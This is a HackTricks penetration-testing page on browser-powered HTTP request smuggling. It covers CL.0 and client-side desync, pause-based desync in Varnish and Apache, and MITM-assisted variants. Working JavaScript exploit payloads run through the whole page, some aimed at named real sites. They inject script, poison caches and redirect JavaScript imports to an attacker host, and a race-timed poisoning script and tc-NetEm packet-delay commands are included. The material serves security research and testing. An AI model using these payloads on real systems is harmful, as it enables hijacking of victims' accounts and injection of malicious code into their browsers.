HackTricks
Search…
⌃K

Browser HTTP Request Smuggling

Support HackTricks and get benefits!

CL.0/H2.0 browser-compatible desync

This vulnerability occurs when the Content Length (CL) header is being completely ignored by the backend server. Then, the back-end treats the body as the start of the second request's method. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a known but lesser-explored attack class.
The attack was possible because the back-end server simply wasn't expecting a POST request.
Note that this vulnerability is being triggered by a completely valid, specification-compliant HTTP request. This meant the front-end has zero chance of protecting against it, and it could even be triggered by a browser.
The only difference between CL.0 and H2.0 is that the second one is using HTTP2 (which has an implicit content-length header) but the backend isn't using that either.

Client-Side Desync

Traditional desync attacks poison the connection between a front-end and back-end server, and are therefore impossible on websites that don't use a front-end/back-end architecture. These are server-side desync from now on. Most server-side desyncs can only be triggered by a custom HTTP client issuing a malformed request.
The ability for a browser to cause a desync enables a whole new class of threat called client-side desync (CSD). A CSD attack starts with the victim visiting the attacker's website, which then makes their browser send two cross-domain requests to the vulnerable website. The first request is crafted to desync the browser's connection and make the second request trigger a harmful response, typically giving the attacker control of the victim's account.

Detect

A CSD vector is a HTTP request with two key properties.
First, the server must ignore the request's Content-Length (CL). This typically happens because the request either triggered a server error, or the server simply wasn't expecting a POST request to the chosen endpoint. Try targeting static files and server-level redirects, and triggering errors via overlong-URLs, and semi-malformed ones like /%2e%2e.
Secondly, the request must be triggerable in a web-browser cross-domain. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only control the URL, plus a few odds and ends like the Referer header, the body, and latter part of the Content-Type.

CL ignore testing

The way to test this missconfig is to send 2 requests and smuggle one in the middle. If the smuggled connection affected the response of the second request, it means that it's vulnerable:
Note that you cannot test this vuln by just sending a Content-Length bigger than the one sent and looking for a timeout because some servers respond even if they didn't receive the whole body.
It's important to note whether the target website supports HTTP/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web browsers prefer to use HTTP/2 whenever possible, so if the target website supports HTTP/2 your attacks are unlikely to work. There's one exception; some forward proxies don't support HTTP/2 so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools.

Confirm

First, select a site to launch the attack from. This site must be accessed over HTTPS and located on a different domain than the target.
Next, ensure that you don't have a proxy configured, then browse to your attack site. Open the developer tools and switch to the Network tab. To help with debugging potential issues later, I recommend making the following adjustments:
  • Select the "Preserve log" checkbox.
  • Right-click on the column headers and enable the "Connection ID" column.
Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like:
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
I've set the fetch mode 'no-cors' to ensure Chrome displays the connection ID in the Network tab. I've also set credentials: 'include' as Chrome has two separate connection pools - one for requests with cookies and one for requests without. You'll usually want to exploit navigations, and those use the 'with-cookies' pool, so it's worth getting into the habit of always poisoning that pool.
When you execute this, you should see two requests in the Network tab with the same connection ID, and the second one should trigger a 404:
If this works as expected, congratulations - you've found yourself a client-side desync!

Exploitation - Store

One option is to identify functionality on the target site that lets you store text data, and craft the prefix so that your victim's cookies, authentication headers, or password end up being stored somewhere you can retrieve them. This attack flow works almost identically to server-side request smuggling, so I won't dwell on it.

Exploitation - Chain&pivot

Under normal circumstances, many classes of server-side attack can only be launched by an attacker with direct access to the target website as they rely on HTTP requests that browsers refuse to send, like tampering with HTTP headers - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based SQLi, CSRF JSON Content-type and numerous others.
The simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: JavaScript resource poisoning via Host-header redirects, and using the HEAD method to splice together a response with harmful HTML. Both techniques needed to be adapted to overcome some novel challenges associated with operating in the victim's browser.

Exploit Examples

Stacked HEAD example

  • Coloured exploit
  • JS exploit
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
Explanation:
  • Abuse of CL.0 in /assets (it redirects to /assets/ and doesn't check the CL)
  • Smuggle a HEAD request (because HEAD responses still contains a content-length)
  • Smuggle a GET request whose content is going be reflected in the response with the payload.
    • Because of the content-length of the HEAD req, the response of this request will be the body of the HEAD req
  • Set cors mode. Normally this isn't done, but in this case the response of the server to de initial POST is a redirect that if followed the exploit won't work. Therefore, cors mode is used to trigger an error and redirect the victim with the catch.

Host header redirect + client-side cache poisoning

  • JS exploit
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
  • A request to /+webvpn+/ with a different domain in the Host header is answered with a redirect to /+webvpn+/index.html to that domain inside the Host header.
  • The location in the second request is set to /+CSCOE+/win.js in order to poison the cache of that .js file.
    • This request will be answered with the redirect of /+webvpn+/ to the attackers domain with path/+webvpn+/index.html
  • The cache of win.js will be poisoned with a redirect to the attackers page, but also the victim will follow the redirect as it was assigned in the location variable and will end in the attackers web page.
  • The attacker will then redirect the victim to https://redacted/+CSCOE+/logon.html. This page will import /+CSCOE+/win.js. Whose cache is a redirect to the attackers server, therefore, the attacker can respond with a malicious JS.
The victim will access the page of the attacker twice, the first one it expects a HTML that redirect the victim back to https://redacted/+CSCOE+/logon.html and the second one it expects javascript code (the payload). A polyglot can be used to serve both responses in just one:
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

HEAD payload with chunked TE

When looking for CSD you can also test semi-malformed URLs like /..%2f or /%2f.
  • Coloured Exploit
  • JS Exploit
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}
  • The page /%2f is accessed to exploit the CL.0 vulnerability.
  • A HEAD request is smuggled using a Transfer-Encoding: chunked header.
    • This header is needed in this scenario because otherwise the server refused to accept a HEAD request with a body.
  • Then, the user sends a POST whose body contains the end chunk of the the previous HEAD request and a new request that is smuggled with content (the JS payload) that will be reflected in the response.
    • Therefore the browser will treat the response to the HEAD request as the response to the POST request which will also contains in the body response that reflects the input of the user in the second smuggled request.

Host header redirect + RC

  • JS Exploit
<script>
function reset() {
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}
function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}
function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}
</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
In this case, again, there is a host header redirect that could be used to hijack a JS import. However, this time the redirect isn't cacheable, so client-side cache poisoning isn't an option.
Therefore, the attack performed will make the victim access the vulnerable page in a tab and then, just before the page tries to load a JS file, poison the socket smuggling connections (3 in this case). Because the timing has to be extremely precise, the attack is performed against a new tab on each iteration until it works.
Keep in mind that in this case /meeting_testjs.cgi was attacked because it loads a Javascript that is responding with a 404, so it's not cached. In other scenarios where you try to attack a JS that is cached you need to wait for it to disappear from the cache before launching a new attack.
Summary steps:
  • Open a new window.
  • Issue a harmless request to the target to establish a fresh connection, making timings more consistent.
  • Navigate the window to the target page at /meeting_testjs.cgi.
  • 120ms later, create three poisoned connections using the redirect gadget.
  • 5ms later, while rendering /meeting_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS.
  • If not, retry the attack.

Pause-based desync

Pausing can also create new desync vulnerabilities by triggering misguided request-timeout implementations.
So, an attacker might send a request with headers indicating that there is a body, and then wait for the front-end to timeout before sending the body. If the front-end times out but leaves the connection open, the body of that request will be treated as a new request.

Example: Varnish

Varnish cache has a feature called synth(), which lets you issue a response without forwarding the request to the back-end. Here's an example rule being used to block access to a folder:
if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}
When processing a partial request that matches a synth rule, Varnish will time out if it receives no data for 15 seconds. When this happens, it leaves the connection open for reuse even though it has only read half the request off the socket. This means that if the client follows up with the second half of the HTTP request, it will be interpreted as a fresh request.
To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request:
Apparently this was patched on the 25th January as CVE-2022-23959.

Example: Apache

Just like Varnish, it's vulnerable on endpoints where the server generates the response itself rather than letting the application handle the request. One way this happens is with server-level redirects: Redirect 301 / /en

Server-side Exploitation

If the vulnerable server (Apache or Varnish in this case) is in the back-end, a front-end that streams the request to the back-end server (http headers in this case) without buffering the entire request body is needed.
In this case the attacker won't receive the response timeout until he has send the body. But if he knows the timeout this shouldn't be a problem.
Amazon's Application Load Balancer (ALB) will stream the data of the connection as needed, but if it receives the response to the half request (the timeout) before receiving the body, it won't send the body, so a Race Condition must be exploited here:
There's an additional complication when it comes to exploiting Apache behind ALB - both servers have a default timeout of 60 seconds. This leaves an extremely small time-window to send the second part of the request. The RC attack was ultimately successful after 66 hours.

MITM Exploitation

It's apparently not possible to stop a request from the browser in order to exploit a Pause-desync vulnerability. However, you could always perform a MITM attack to pause a request sent by the browser. Notice that this attack doesn't rely on decrypting any traffic.
The attack flow is very similar to a regular client-side desync attack. The user visits an attacker-controlled page, which issues a series of cross-domain requests to the target application. The first HTTP request is deliberately padded to be so large that the operating system splits it into multiple TCP packets, enabling an active MITM to delay the final packet, triggering a pause-based desync. Due to the padding, the attacker can identify which packet to pause simply based on the size.
From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding:
let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()
On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm:
# Setup
tc qdisc add dev eth0 root handle 1: prio priomap
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3
# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

References

Support HackTricks and get benefits!